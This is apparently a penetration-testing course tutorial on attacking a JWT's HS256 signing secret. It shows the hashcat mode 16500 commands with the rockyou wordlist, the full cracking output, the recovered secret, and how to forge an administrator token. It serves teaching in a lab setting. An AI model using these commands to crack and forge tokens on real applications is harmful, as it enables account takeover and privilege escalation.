Attacking the Signing Secret

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In the previous section, we discussed attacks that bypass the signature verification of JWTs. However, if we were to know the signing secret, we could create a valid signature for a forged JWT. After requesting a valid JWT from the web application, we then attempt to brute-force the signing secret to obtain it.

JWT supports three symmetric algorithms based on potentially guessable secrets: HS256, HS384, and HS512.

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Obtaining the JWT

Just like before, we can obtain a valid JWT by logging in to the application:

We can then check the signature algorithm by inspecting the alg-claim on jwt.io:

As we can see, the token uses the symmetric algorithm HS256; thus, we can potentially brute-force the signing secret.

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Cracking the Secret

We will use hashcat to brute-force the JWT's secret. Hashcat's mode 16500 is for JWTs. To brute-force the secret, let us save the JWT to a file:

[!bash!]$ echo -n eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiaHRiLXN0ZG50IiwiaXNBZG1pbiI6ZmFsc2UsImV4cCI6MTcxMTIwNDYzN30.r_rYB0tvuiA2scNQrmzBaMAG2rkGdMu9cGMEEl3WTW0 > jwt.txt

Afterward, we can run hashcat on it with a wordlist of our choice:

[!bash!]$ hashcat -m 16500 jwt.txt /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 0 (JWT (JSON Web Token))
Hash.Target......: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiaH...l3WTW0
Time.Started.....: Sat Mar 23 15:24:17 2024 (2 secs)
Time.Estimated...: Sat Mar 23 15:24:19 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/opt/SecLists/Passwords/Leaked-Databases/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  3475.1 kH/s (0.50ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 4358144/14344384 (30.38%)
Rejected.........: 0/4358144 (0.00%)
Restore.Point....: 4354048/14344384 (30.35%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: rb270990 -> raynerleow
Hardware.Mon.#1..: Util: 52%

[!bash!]$ hashcat -m 16500 jwt.txt /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt --show

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiaHRiLXN0ZG50IiwiaXNBZG1pbiI6ZmFsc2UsImV4cCI6MTcxMTIwNDYzN30.r_rYB0tvuiA2scNQrmzBaMAG2rkGdMu9cGMEEl3WTW0:rayruben1

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Forging a Token

Now that we have successfully brute-forced the JWT's signing secret, we can forge valid JWTs. After manipulating the JWT's body, we can paste the signing secret rayruben1 into jwt.io. The site will then compute a valid signature for our manipulated JWT:

We can now use the forged JWT to obtain administrator access to the web application: